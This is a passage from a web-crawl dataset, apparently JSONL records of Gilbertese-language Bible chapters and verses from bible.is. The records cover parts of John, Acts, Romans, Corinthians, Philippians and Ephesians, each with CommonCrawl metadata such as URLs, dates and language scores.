ana taeka n aakoi ni kabane te Atua; ao irouna naba te Amene, are ti neboa iai te Atua. 21Ma te Atua boni Ngaia ae E kateimatoaira ma ngkami i nanoni Kristo, ao E kabiriira, 22are E kanikinaaira bwa ana bwai, ao E anganiira te Taamnei i nanora bwa te kakoaua ibukini baika a kaawakinaki i bukira. 23I atonga te Atua bwa au Tia Kakoaua are E na karekea kaiu ngkana I kewe; bwa I aki roko i Korinto ibukina bwa I aki kani karawaawataingkami. 24Tiaki nanora bwa ti kan tautaekaningkami, n tuangkami aromi n onimaki; ma bon raao ngaira ni mwakuri ibukin ami kimwaareirei, ngkai kam teimatoa n te onimaki.\n2 KORINTO Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/","date":"2013-12-07T09:55:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053921\/warc\/CC-MAIN-20131204131733-00092-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":714,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A na tai rawaawata nanomi; kam na onimakina te Atua, ao kam na onimakinai naba. 2E mwaawaawa nanon ana auti Tamau ibukin te maeka; ma ngke arona bwa akea, ao e koaua bwa N na tuangkami ae N na nako ni katauraoi nnnemi i mwaaimi? 3Ao ngkana I nako ni katauraoi nne i bukimi, ao N na manga oki ni kairingkami nakoiu; bwa ike I mena iai, ao kam na mena naba iai. 4Ao kam ataa te kawai nakon te tabo are N na nako iai. 5E taku Toma nakoina, Te Uea, ti aki ataa te tabo are Ko na nako iai; ao ti na kangaa n ataa te kawai? 6E kaeka Iesu ao E taku, Boni Ngai te kawai, te koaua, ao te maiu; bon ti Ngai te kawai ibukin ane e kan nako n Tamau. 7Ngke arona bwa kam a kaman ataia bwa antai Ngai ni koaua, ao kam na kaman ataia naba bwa antai Tamau; ao kam a ataia ma ngkai, ao kam a tia n nooria. 8E taku Biribo nakoina, Te Uea, kaota Tamam nakoira, ao a a rau nanora iai. 9E taku Iesu nakoina, Ai maan ra Ngai ni mena i rarikimi, ao ko tuai man ataai, Biribo? Ane e a tia n noorai, ao e a tia naba n noora Tamau; e aera ngkai ko kaangai, Kaota Tamam nakoira? 10Ko aki kakoauaa bwa Ngai i nanon Tamau, ao Tamau i nanou? Baika I atongi nakoimi, I aki atongi man oin nanou; ma E karaoi baika E baairei bwa E na karaoi Tamau ae e E maeka i nanou. 11Kam na kakoauaai bwa Ngai i nanon Tamau, ao Tamau i nanou; ma ngkana kam aki, ao kam na kakoauaai ibukin au mwakuri nako. 12Bon te koaua ni koaua ae I a tuangkami bwa ane e onimakinai ao e na karaoi mwakuri aika I karaoi; ao e na karaoi mwakuri aika a abwaabwaki riki, ibukina bwa N na nako n Tamau. 13Ao N na karaoa te bwai ane kam buubuti ibukina n arau, bwa e aonga ni kaotaki mimitongin te Tama iroun te Nati. 14Ngkana kam butiai te bwai teuana n arau, ao N na karaoia. 15Ngkana kam tangirai, ao kam na tou mwiin au tua. 16Ao N na butiia Tamau, ao Ngaia E na anganingkami temanna riki te Tia Buobuoki, bwa E na meemena iroumi n aki toki. 17Te Tia Buobuoki aei bon te Taamnei ibukin te koaua; are e aki konaa ni butimwaaeaki iroun aonnaba, bwa e aki nooria, ao e aki ataia. Kam ataia ngkami, bwa E maeka iroumi, ao E meemena i nanomi. 18N na bon aki kiitaningkami ni kaaki taekami. I a manga okiringkami. 19Ai ti teutana, ao e na aki manga noorai aonnaba; ma kam na manga noorai. Ngkai N na manga maiu, ao ngkami kam na manga maiu naba. 20N te bong arei, ao kam na ataia bwa I mena i nanon Tamau, ao ngkami i nanou, ao Ngai i nanomi. 21Ane iai irouna au tua nako, ao e tou mwiia, ao e kaotia iai bwa e tangirai; ao ane e tangirai ao e na tangiraki iroun Tamau, ao e na tangiraki naba irou, ao N na kaotai nakoina. 22E taku Iuta (are tiaki Iuta Itekariota) nakon Iesu, Te Uea, Ko na kangaa n ae Ko na kaotiko nakoira, ma tiaki nakon te aonnaba? 23E kaeka Iesu ao E taku, Ngkana e tangirai te aomata, ao e na ongeaaba nakon au taeka; e na tangiraki iroun Tamau, ao Ti na nakoina ni maeka ma ngaia. 24Ane e aki tangirai, ao e aki ongeaaba nakon au taeka; ao te taeka are kam ongo bon tiaki au taeka, ma bon ana taeka Tamau are e kanakomaiai. 25I a tia n atongi baikai nakoimi, ngkai I mena i rarikimi. 26Ma te Tia Buobuoki, are te Taamnei are e Raoiroi, are E na kanakomaia te Tama n arau, E na reireingkami bwaai ni kabane, ao E na kaururingngkami taeka ni kabane ake I a tia n atong. 27I katuka te rau iroumi; I anganingkami au rau: I aki anganingkami n ai aron te aba, ngkana e anga. A na tai rawaawata nanomi, ao a na tai maaku. 28Kam ongo ngke I kaangai nakoimi, N na nako, ao N na manga okiringkami. Ngke kam tangirai, ao kam na boni kimwaareirei, ibukina ngkai N na nako n Tamau; bwa E kakannato riki Tamau nakoiu. 29Ao ngkai, I a tia n tuangkami te baerei i mwaain rikina; bwa ngkana e riki, ao kam na kakoauaa. 30N na aki kabatiaa te taetae ma ngkami, bwa ae e a nako mai te tia taua taekan te aonnaba aei. Akea mwaakana i aou; 31ma e na ataia te aonnaba bwa I tangira Tamau; ao anne bukina ae I karaoi iai bwaai ni kabane ake E tuangai. Tei rake, ti na nako maikai.\nIOANE 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/14","date":"2013-12-12T13:56:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164587361\/warc\/CC-MAIN-20131204134307-00092-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":804,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:1818Bwa N na ninikoria n taekina te baere E a tia ni karaoia Kristo irou n au taeka ma au mwakuri ibukini kairaia aomata aika tiaki I-Iutaia, bwa a aonga n ongeaaba nakon te Atua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/18","date":"2013-12-04T21:28:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037418\/warc\/CC-MAIN-20131204131717-00036-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000057220458984}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:3030ao te koraki ake a kaatuumaua te tang bwa aongkoa a aki, ao ake a kimwaareirei bwa aongkoa a aki kimwaareirei, ao ake a boobwai bwa aongkoa a aki bwaini baike a kabooi; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/30","date":"2013-12-11T00:15:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164027414\/warc\/CC-MAIN-20131204133347-00036-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000076293945312}","num_words":49,"character_repetition_ratio":0.148,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Bwauro ma Timoteo, aika ana toro Kristo Iesu, nakoia ake a itiaki ni kabaneia, ake a nim ma Kristo Iesu, ake a mena i Biribi; ao nakoia naba ake mataniwi ma taani buobuoki: 2Ami bwai te aakoaki ma te raoi mai iroun te Atua are Tamara ma te Uea are Iesu Kristo. 3I katituaraoa Atuau n taai ni kabane aikai I uringngkami iai, 4ao n taai ni kabane ake I tataro iai i bukimi ni kabane, ao I tataro ma te kimwaareirei, 5ibukin aromi ni buokanibwai n te mwakuri ibukin te euangkerio man te bong are kam moa n ongo iai ni karokoa ngkai; 6ao I koaua raoi n aei, bwa Teuare e moana te mwakuri ae e raoiroi i nanomi, E na boni waakina karaoana ni karokoa ae e tia n ana bong Kristo Iesu. 7E bon riai reken te namakin aei irou i bukimi ni kabaneingkami, bwa kioina ngkai kam meemena i nanou. Bwa kam a tia ni bane ni buokanibwai ma ngai n te mwakuri are I anganaki iroun te Atua, n arou ngkai I kabaeaki ao ngke I kakaaitarai taeka aika a eekaanako te euangkerio, ma ni karina te euangkerio i nanoia aomata bwa e na tiku ni matoatoa. 8Bwa au tia kakoaua te Atua, bwa I tangiringkami ni kabaneingkami n ai aron tangirami irouni Kristo Iesu. 9Ao bon aei au tataro bwa e na ririki rake ni kabatiaaki ami tangira, n te aro n rabakau ma n atatai. 10Bwa kam aonga ni konaa n rinei baika a moa n raraoi, ao kam na itiaki ma n aki kabuaakakaaki n te bong are E na roko iai Iesu, 11ngkai a kaonaki maiumi ni baika a reitaki ma ana kaantaninga te Atua, aika baika mai iroun Iesu Kristo, are E neboaki te Atua iai ma ni karaoiroaki. 12Taari, I tangiringkami bwa kam na atai bwaai aika a riki irou, bwa a riki bwa buokani waakin te euangkerio. 13Ma ngaia ae e ataaki bukini kabaeakiu irouia tautia ni kabane n te Beritorium, ma aomata nako, bwa I kabureaki ibukini Kristo. 14Ao e riki kabaeakiu bwa kakorakoraan aia kaantaninga mwaitiia taari n aroia n reitaki ma te Uea, ao a rikirake n rangi n ninikoria n taekina ana taeka te Atua. 15Bon iai temwaangina aika a tataekina Kristo ibukin nanoia n nanonibwi ma ni kani kakauntaeka; ma iai naba tabemwaang aika a tataekinna ma nanoia ae e raoiroi; 16a karaoa aei te koraki aikai ma te nano n tangira, ngkai a ataai bwa I a tia n rineaki bwa N na tei ibukin te euangkerio; 17ao te koraki ake a kani kauntaeka a tataekina Kristo ma te nano ae e aki itiaki; ao a iangoia bwa a na kariki riki kaangaanga nako iu ngkai I kabaeaki. 18Ao tera ngkanne? Te bwai ae e kakaawaki bwa E taekinaki Kristo n aaro nako, tao man te kaantaninga ae e aki raoiroi ke ae e raoiroi; ao I kimwarerei iai, eng, N na boni kimwaareirei. 19Bwa I ataia bwa man ami tataro ao n ana buobuoki Taamnein Iesu Kristo, ao e na riki aei nako iu ae N na boni kainaomataaki, 20n ai aron nanou ae e korakora ma au kaantaninga bwa N na aki maamaa n te bwai teuana, ma N na rangi n ninikoria n taetae n ai aron aroarou n taai nako ao ngkai naba, ni kaota neboakini Kristo n rabwatau, tao ni maiuu ke ni mateu. 21Bwa maiuu bon ibukini Kristo, ao mateu boni kakabwaiau. 22Ma ngkana e na anganai au tai ni karaoi mwakuri riki aika a manena maiu n te rabwata, ao I aki ataa ngkanne ae N na rineia. 23Ma e katikaki nanou ni baika uoua, bwa I kan nako ni mena irouni Kristo; bwa moan te raoiroi aei. 24Ma e manena riki iroumi tiku ni maiu. 25I aki nanokokoraki n aei, ao I ataia bwa N na bon tiku ni maiu, ao N na reitaki ma ngkami ni kabane bwa a aonga n rikirake ami onimaki ma ami kimwaareirei iai. 26Ao bwa e aonga ni kabatiaaki kakatongami irou, ngkai kam katiteuanaaki ma Kristo Iesu ni maiumi, ni manga rokou iroumi. 27Kam na ti kaakaraoa ae e booraoi ma nanon ana euangkerio Kristo; bwa ngkana I roko n nooringkami, ke ngkana tao I mena n te tabo teuana, ao I kan ongo rongorongomi, bwa kam tei matoa n aromi ni maiu bwa kaanga te taamnei ae ti teuana, ni kakorakoraingkami bwa kaanga te aomata ae ti temanna, ibukin te onimaki are e reke man te euangkerio; 28ao kam na tai maaku n te bwai teuana irouia ake a ekiingkami nako. Aromi aei bon te bwai ni kakoaua nako ia bwa a na boni konaaki, ao nakoimi bwa kam na bon tokanikai, bwa te baei boni mai iroun te Atua. 29Bwa kam anganaki ibukini Kristo tiaki ti te onimakinna, ma te bwainikiriinaki naba ibukina. 30Kam a rin ngkai n te buaka ae ti te bo ma are kam a tia n noorai iai ngkoa, ao n aron ae kam ongo iai ngkai bwa ae I mena naba i nanona.\nBIRIBI 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/1","date":"2013-12-12T08:51:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164573346\/warc\/CC-MAIN-20131204134253-00068-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":846,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, I a manga tuangkami te euangkerio are I taekinna nakoimi, are kam kaaki naba i nanomi, are kam tei naba iai, 2ao are kam kamaiuaki naba iai ngkana kam taua ni kamatoaa i nanomi; ma ngkana kam aki, ao a matebuaka ami onimaki. 3Bwa I moa n anganingkami i buakoni baika a kakannato te baere I anganaki naba: bwa E mate Kristo ibukin ara bure n ai aron taekana n te Baibara; 4E taunaki, ao E a manga maiu n te kateni bong n ai aron taekana n te Baibara; 5E nooraki irouni Keebwa, ao rimwi, irouia uaake tengauni ma uoman. 6Ao rimwi, E nooraki irouia taari aika nimabubua tabun n te tai ae ti teuana; ao mwaitin te koraki aei a boni maiu naba ngkai, ma iai tabemwaang ake a tia ni mate. 7Ao rimwi, E nooraki iroun Iakobo, ao rimwi, irouia taan tuatua ni kabaneia; 8ao i mwiia ni kabaneia, ao E nooraki naba irou, ngke kaanga ai aron te aomata ngai are e bungiaki i mwaain ana tai. 9Bwa moan te mangori ngai i buakoia taan tuatua, ao I aki tau bwa N na atongaki bwa te tia tuatua, ibukina bwa I bwainikiriina ana ekaretia te Atua. 10Ma n ana aakoi te Atua ao I riki n ai arou aei; ao e aki matebuaka ana aakoi nakoiu: bwa I mwakuri korakora riki nakoia taan tuatua akekei; ma tiaki ngai, bwa bon ana aakoi te Atua are irou. 11Ma ngaia aei, ngkana tao ngai ae I tataekina te euangkerio ke uaakekei, ma anne are ti tataekinna ao kam onimaki iai. 12Ngkana e taekinaki Kristo bwa E a tia ni manga maiu mai buakoia maate, ao e aera ngkai a taku tabemwaang i buakomi bwa akea manga-maiuia maate? 13Ma ngkana a aki manga maiu maate, ao nanona ngkanne bwa e tuai ni manga maiu Iesu; 14ao ngkana E tuai ni manga maiu Kristo, ao a matebuaka ara reirei, ao a matebuaka naba ami onimaki. 15Ti na ataaki naba iai bwa ti kewe n ara kaotioti ibukin te Atua, ngke ti kaotiotia bwa Ngaia ae E a manga kamaiua Kristo man te mate; ma ngkana e koaua bwa a aki manga kamaiuaki maate, ao nanona bwa E bon aki manga kamaiua Kristo. 16Bwa ngkana a aki manga kamaiuaki maate, ao nanona ngkanne bwa E tuai ni manga kamaiuaki Iesu. 17Ao ngkana E tuai ni manga kamaiuaki Iesu, ao a matebuaka ami onimaki, ao kam mena naba i buakon ami bure; 18ao a aki kamaiuaki naba te koraki ake a tia ni mate ake a onimakina Kristo. 19Ngkana arona bwa ti kaantaninga Kristo n ti te maiu aei, ao moani kananoanga ngaira i buakoia aomata ni kabaneia. 20Ma E a bon tia ni manga kamaiuaki Kristo mai buakoia maate, ao E riki bwa te bwai ni kakoaua i bukiia ake a tia ni mate bwa a na manga kamaiuaki naba man te mate. 21Bwa ngke e roko te mate iroun te aomata, ao boni mai iroun naba te aomata rokoni manga-maiuia maate. 22Bwa ngke e reke te mate irouia aomata ni kabaneia mai iroun Atam, ao ai aroia naba bwa a na bane n reke irouia te manga-maiu mai irouni Kristo. 23Ma iai baairean temanna ma temanna ngkana e a manga kamaiuaki mai buakoia maate: bwa Kristo moa, ao rimwi te koraki ake a onimakinna ngkana E roko; 24ao rimwi te toki, are E na anga iai te tautaeka Kristo nakon te Atua are te Tama, ngkana E a tia ni kamaunai aaro n tautaeka, ma n tau-aro nako, ma aeka ni mwaaka nako. 25Bwa E riai n uea Kristo ni karokoa te tai are E kabaneia iai ni kaakiia ana kairiribai i aani waena. 26Te kabanea ni kairiribai are na kamaunaaki bon te mate. 27Bwa ngke E taku bwa a bane bwaai ni kaakiaki i aani waena, ao e mataata iai bwa e aki kaakiaki i aana te Atua are e kaaki bwaai ni kabane i aani mwaakani Kristo. 28Ma ngkana a kabaneaki bwaai ni kaakiaki i aani mwaakani Kristo, ao Ngaia ae te Nati E na kaakiaki naba i aani mwaakan Teuare e kabane bwaai ni kaaki i aan te Nati, bwa E aonga n ataaki te Atua bwa Atuaia aomata nako, ao Atuani bwaai ni kabane. 29Bwa ngkana tiaki ngaia anne, ao a na aera ake a bwaabetitooaki i bukiia maate? Ngkana a bon aki manga maiu maate, ao a aera ngkai a bwaabetitooaki naba i bukiia? 30Ao bukin tera ngkai ti a boni kakaaitara naba ma taiani kaoanikai ni katoaa te aoa? 31Taari, I kaaitara ma te mate n te bong ae koraki! I riki n taekina aei ibukin nanou ni kamoamoa i bukimi i nanoni Kristo Iesu are ara Uea. 32Ngke arona bwa I un ma maan aika a tiritiri i Ebeto ao I bwaina te nano n aomata, ao tera manenana irou? Ngkana arona bwa a aki manga kamaiuaki maate, ao e kaangai te taeka n rabakau teuana, Ti na amwarake ma ni mooi, bwa ae ti na mate ningabong. 33Kam na tai burebureaki: aaro n i raorao aika a buaakaka a uru aroaro aika a riai. 34Kam na bwaina te iango raoi, ao tai bure; bwa iai temwaangina i buakomi aika a aki ataa te Atua; ao I taekina aei bwa kamamaeami. 35Ane e na kaangai temanna, A na kangaa ni manga maiu maate? Ao tera aron rabwataia ane a na roko iai? 36Te baba! E aki konaa n riki te baere ko unikia ngkana e aki mate moa; 37ao ane ko unikia bon tiaki te aroka ae e ikawai ma bon te uaa, ae tao uaan te uiita ke tao uaan te kai riki teuana; 38ao te Atua E angan te uaa anne te rabwata n ai aron nanona, ao E katoai uaa nako ma aron rabwataia. 39Tiaki te iriko ae ti te arona irikoni bwaai ni kabane aika a maiu; iai te aeka teuana i bukiia aomata, ao teuana i bukiia manin aon te aba, ao teuana i bukiia mannikiba, ao teuana i bukiia iika. 40Ao iai rabwata aika bwaini karawa ao rabwata aika bwain aon te aba; ma bon te tamaaroa teuana tamaaroani bwaini karawa, ao te tamaaroa teuana tamaaroani bwain aon te aba. 41Bon te tamaaroa teuana tamaaroan taai, ao teuana tamaaroan namwakaina, ao teuana tamaaroaia itoi; ma e kakaokoro tamaaroan te itoi teuana ma te itoi teuana. 42Ao ai aron naba manga-maiuia maate. E na mka te rabwata are e taunaki, ma ngke e a manga maiu, ao ai te rabwata ae e aki konaa ni mka. 43Akea tamaaroana ngke e taunaki, ma iai tamaaroana ngke e a manga maiu. Akea korakorana ngke e taunaki, ma iai korakorana ngke e a manga maiu. 44E taunaki bwa te rabwata ae bon te rabwata, ma ngke e a manga maiu ao ai te rabwata ae te rabwata n tamnei. Ngkana iai te rabwata ae bon te rabwata, ao iai naba te rabwata ae te rabwata n tamnei. 45Ao ai aron naba are e koreaki ni kaangai: Te moa n aomata are Atam bon te aomata ae e maiu; Te kabanea n Atam bon te tamnei ni kamaiu. 46Ma tiaki te rabwata n tamnei are e roko moa, bwa te rabwata ae bon te rabwata, ao rimwi te rabwata n tamnei. 47E riki te moa n aomata mai aon te aba, ao e karikaki man te tano; te Aomata are te kauoman boni mai karawa. 48Aron rabwatan te aomata are e karikaki man te ttano, bon aron naba rabwataiaaomata ake i aon te aba; aron rabwatan te Aomata are mai karawa, bon aron naba rabwataia aomata ake mai karawa. 49Ao ngkai ti katootoonga aron te aomata are e karikaki man te tano, ao ti na manga katootoonga naba aron te Aomata are mai karawa. 50Ao aio au taeka, taari: e aki konaa ni karekea uean te Atua te iriko ma te raraa, ao e aki konaa naba ni karekea te aki mka te mka. 51Noria, I tuangkami te bwai ae e raba: Ane ti na aki bane ni mate, ma ti na na bane n onikaki, 52n te tai ae moan te waekoa, n te rube ni mata, n tangin te kabanea ni bu. Bwa ane e na tangi te bu, ao a na manga kamaiuaki maate n aki konaa ni mka, ao ti na onikaki. 53Bwa e riai n oneaki te aro ni mka aei nakon te aki-mka, ao te aro ni maamate aei nakon te aki-maamate. 54Ao ngkana e a tia n onikaki te aro ni mka aei nakon te aki-mka, ao te aro ni maamate aei nakon te aki-maamate, ao e kakoauaaki iai te taeka are e koreaki ni kaangai: E tae ana kai te mate. 55Te Mate, e ngaa am tokanikai? Te Mate, e ngaa am bwai ni kaikoaki? 56Te bure boni ngaia ana bwai ni kaikoaki te mate, ao korakoran te bure bon te Tua. 57Ma E na katituaraoaki te Atua, are e anganiira te tokanikai iroun ara Uea are Iesu Kristo. 58Ma ngaia aei, tariu, aika kam tangiraki, kam na teimatoa, ao kam na aki toki ni kaakaraoi ana mwakuri te Uea, ngkai kam ataia bwa a aki matebuaka ami mwakuri ibukin te Uea.\n1 KORINTO 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/15","date":"2013-12-09T01:46:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163844441\/warc\/CC-MAIN-20131204133044-00063-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1530,"character_repetition_ratio":0.065,"word_repetition_ratio":0.014,"special_characters_ratio":0.238,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Teobiro, n te boki are I moani koreia ao I taekin iai bwaai ni kabane ake E karaoi Iesu, ma n reirei, 2ni karokoa te bong are E uotaki rake iai nako karawa, i mwiin tiana n anga ana mwioko iroun te Taamnei are e Raoiroi nakoia taan tuatua ake E a tia n rineiia; 3ake E kaotia nakoia i mwiini marakina ni mate, n aaro aika a na aki nanokokoraki iai teutana bwa E a tia ni manga maiu. E nooraki irouia n taai aika a bati i nanon abwi te bong, ao E taekini bwain uean te Atua nakoia; 4ao ngke E bootaki ma ngaiia, ao E kabwakaa ana taeka nakoia ni kaangai, Kam na aki kiitana Ierutarem, ma kam na taningaa koron nanon ana taeka n aakoi Tamau are kam ongo mai irou: 5bwa e bwabwaabetiito Ioane n te ran, ma ane kam na bwaabetitooaki n te Taamnei are e Raoiroi i mwiini boong tabebong. 6Ma ngaia arei, ngke a bootaki taan tuatua ma Iesu, ao a titirakinna ni kaangai, Te Uea, Ko nangi manga kaoka nakoia Iteraera aroia n tau-taeka n te tai aei? 7E taku Iesu nakoia, Tiaki ami bwai te atai taian tai nako ma boong ake E baairei te Tama ni mwaakana. 8Ma ane kam na anganaki te mwaaka, ngkana E roko te Taamnei are e Raoiroi i aomi; ao ane kam na riki bwa taan tataekinai nakoia aomata i Ierutarem ao n taabo nako i Iuta, ao i Tamaria, ao i aonnaba ni kabutaa. 9Ngke E a tia n atongi baikai, n te tai are a tabe n tarataraia iai taan tuatua, ao E uotaki rake; ao a aikoa nooria ngke a tuukaki mataia n te nang. 10Ngke a bon tabe naba n tara rake n taraa karawa, ngke E nako Iesu, ao nooria, a tei i rarikiia uoman te aomata aika a kunnikaiia ni kunnikai aika a mainaina; 11ao a taku, Mwaane aika I-Kariraia, kam aera ngkai kam tei n tara rake nako karawa? Iesu aei, are e uotaki rake mai iroumi nako karawa, E na manga nako mai n te aro ae ti te bo naba ma aron ae kam nooria iai ngkai, ngkae E nako karawa. 12A okira ngkanne Ierutarem taan tuatua man te maunga are Oriweta. E kaan te maunga aei ma Ierutarem, bwa tao te iterana te maire raroana maiai. 13Ao ngke a rin i Ierutarem, ao a nako n te ru are i eta, are a kaboonganaa bwa nneia ni maeka n te tai ae e aki maan Betero, ma Ioane, Iakobo, Anterea, Biribo, Toma, Bwaretoromwaio, Mataio ma Iakobo are natin Arebwaio, ma Timon are te Terote, ao Iuta are tarin Iakobo. 14A aki toki uaakekei ni kabaneia ni kakaonimaki ni bobootaki n taatataro, ma aine, ma Nei Maria are tinan Iesu, ma tarin nako Iesu. 15N te bong teuana, ao e tei rake Betero i buakoia taari akekei, ao e taku (tao tebubua ma uangaun mwaitiia ake a bootaki ), 16Mwaane, taari, e riai kakoroan nanon te taeka are n te Baibara are E atongnga ngkoa te Taamnei are e Raoiroi ni wiin Tawita, are taekan Iuta, are e kairiia ake a tauua Iesu. 17Bwwa e warekaki Iuta i buakora,ao e reke tibwangana n te nakoa aei. 18(E kabooa te aba teuana Iuta n te mwane are e karekea ibukin ana mwakuri are e buaakaka. Ngke e bwaka n unika atuuna ao e tabwena rabwatana mai nuuka, ao a nna nako kanoan nanona. 19E ataaki te baerei irouia aomata ni kabaneia ake a maeka i Ierutarem, ma ngaia are a arana te aba arei n aia taeka bwa Akeritama, ae nanona, Te aba n raraa.) 20Bwa e koreaki n te boki are Taian Areru ae e kaangai, Ke e kiitanaki nnena ni maeka, Ao ke e aki maeka iai temanna; ao, Ke e anaa nakoana temanna. 21Ma ngaia aei, e riai temanna n riki bwa raora n tataekina Iesu bwa E a manga maiu. E na rineaki mai buakoia aomata aika a iriiri ma ngaira n taai ake E mena i buakora iai te Uea are Iesu, 22man te tai are e bwabwaabetiito iai Ioane ni karokoa te bong are E uotaki rake iai Iesu mai iroura. 23Ao a kaoti araia aomata aika uoman, bwa Iotebwa are e aranaki bwa Baretaba, are arana teuana Ioutito, ao Matia. 24Ao a tataro ni kaangai, Te Uea, ae Ko atai nanoia aomata, Ko na kaotia bwa antai ae Ko rineia n uaaka uoman aikai, 25bwa e na bonota mwiin Iuta n te mwakuri aei ao n nakoan te tia tuatua, are e kiitanna, n nako n are boni nnena. 26Ao a kakaaea n te aro ni kaiwa bwa antai ae e na rineaki irouia, ao e reke bwa Matia; ao e warekaki bwa raoia taan tuatua ake tengauni ma temanna.\nMWAKURI 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/1","date":"2013-12-10T13:01:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164019123\/warc\/CC-MAIN-20131204133339-00074-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":802,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:77Ai bia arou aomata ni kabaneia! Ma a bane aomata nako n toa ma te bwai n tituaraoi mai iroun te Atua: e anganaki temanna te aeka teuana, ao temanna te aeka teuana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/7","date":"2013-12-13T21:13:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164992771\/warc\/CC-MAIN-20131204134952-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999836683,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999836683273315}","num_words":49,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae I butingkami, ngai ae I kabureaki ibukin te Uea, bwa kam na karaoi baika a booraoi ma nanon te weteaki are kam weteaki nako iai: 2kam na bwaina te nanorinano ni kabanea ma te nimamannei, ma te taotaonaki n nano, n i tobwatobwai aromi ma te nano n tangira; 3ao kam na kakorakoraingkami ni kaawakina te aro ni katiteuanaaki are mai iroun te Taamnei n te bwai ni kabaebae are te raoi. 4Ti teuana te rabwata, ao te temanna te Taamnei, n ai aron naba weteami bwa kam weteaki nakon te kaantaninga ae ti teuana. 5Ti temanna te Uea, ao ti teuana te onimaki, ao ti teuana te bwabetito; 6ti temanna te Atua are Tamaia aomata ni kabaneia, are E uea i aoia ni kabaneia, ma ni mwamwakuri ri nanoia, ao E maeka i nanoia ni kabaneia. 7Ma ti anganaki n tatabemanira nako te bwai n akoi, n ai aroni baaireana are e nako man aron nanoni Kristo n tituaraoi. 8N aron are e kaangai n te Baibara, Ngke E rierake nakon te tabo ae e rietaata, ao E kairiia aomata aika a bati aika a taenikai; Ao E anganiia aomata bwaai n tituaraoi. 9Ao tera nanon ae E rierake? Iai nanona ti ngkana E a tia n ruo moa nakon taabo i nano i 